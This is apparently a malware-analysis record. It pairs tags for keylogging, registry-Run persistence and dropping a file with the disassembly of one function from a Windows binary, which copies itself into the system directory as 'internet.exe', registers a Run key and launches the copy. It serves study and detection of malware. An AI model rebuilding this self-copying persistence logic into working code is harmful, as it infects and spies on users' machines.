Function at 0x4013c0
Capabilities:
Create process on windows
Get common file path
Log keystrokes via polling
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x286c
call fcn.00419070
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x2864], eax
push ebx
push ebp
push esi
push edi
push 0x400
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x400
lea ecx, [esp + 0x474]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x470]
push 0x5c
push edx
call fcn.0040c0b0
mov esi, eax
lea eax, [esp + 0x478]
push eax
lea ecx, [esp + 0x7c]
push ecx
mov byte [esi], 0
call fcn.0040d554
add esp, 0x10
test eax, eax
je 0x4015c8
push str.internet.exe
lea edx, [esp + 0x74]
push 0x400
push edx
mov byte [esi], 0x5c
call fcn.0040cbb3
lea eax, [esp + 0x47c]
push 0x420fdc
push eax
call fcn.0040c1a1
mov edi, eax
add esp, 0x14
test edi, edi
je 0x4015cf
push 2
push 0
push edi
call fcn.0040c295
push edi
call fcn.0040c4b7
push edi
mov esi, eax
call fcn.0040c525
lea ecx, [esp + 0x84]
push 0x420fe0
push ecx
call fcn.0040c1a1
mov ebx, eax
add esp, 0x1c
test ebx, ebx
je 0x4015bf
mov eax, esi
cdq
and edx, 0x1fff
add eax, edx
sar eax, 0xd
test eax, eax
jle 0x4014e5
mov ebp, eax
push edi
push 1
lea edx, [esp + 0x878]
push 0x2000
push edx
call fcn.0040c88b
push ebx
push 1
lea eax, [esp + 0x888]
push 0x2000
push eax
call fcn.0040ca0a
add esp, 0x20
sub ebp, 1
jne 0x4014b3
and esi, 0x80001fff
jns 0x4014f5
dec esi
or esi, 0xffffe000
inc esi
push edi
push 1
lea ecx, [esp + 0x878]
push esi
push ecx
call fcn.0040c88b
push ebx
push 1
lea edx, [esp + 0x888]
push esi
push edx
call fcn.0040ca0a
push 0x2000
lea eax, [esp + 0x894]
push 0
push eax
call fcn.004119c0
add esp, 0x2c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xffff
div ecx
push edx
call fcn.0040ca8c
add esp, 4
call fcn.0040ca9e
mov esi, eax
call fcn.0040ca9e
add esi, eax
mov eax, esi
cdq
and edx, 0x1fff
add eax, edx
sar eax, 0xd
test eax, eax
jle 0x40158d
mov ebp, eax
jmp 0x401570
push ebx
push 1
lea edx, [esp + 0x878]
push 0x2000
push edx
call fcn.0040ca0a
add esp, 0x10
sub ebp, 1
jne 0x401570
and esi, 0x80001fff
push ebx
push 1
jns 0x4015a0
dec esi
or esi, 0xffffe000
inc esi
lea eax, [esp + 0x878]
push esi
push eax
call fcn.0040ca0a
push ebx
call fcn.0040cb37
push edi
call fcn.0040cb37
add esp, 0x18
jmp 0x4015e9
push edi
call fcn.0040cb37
add esp, 4
xor eax, eax
jmp 0x4016b3
lea ecx, [esp + 0x470]
push ecx
lea edx, [esp + 0x74]
push 0x400
push edx
call fcn.0040cc27
add esp, 0xc
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x401612
push 0x420fe4
lea edx, [esp + 0x74]
push 0x400
push edx
call fcn.0040cbb3
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015c8
lea eax, [esp + 0x70]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401640
sub eax, edx
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x74]
push ecx
push 1
push 0
push str.Internet
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.004119c0
add esp, 0xc
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x90]
push ecx
push 0
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
mov ecx, dword [esp + 0x2874]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd50
add esp, 0x286c
ret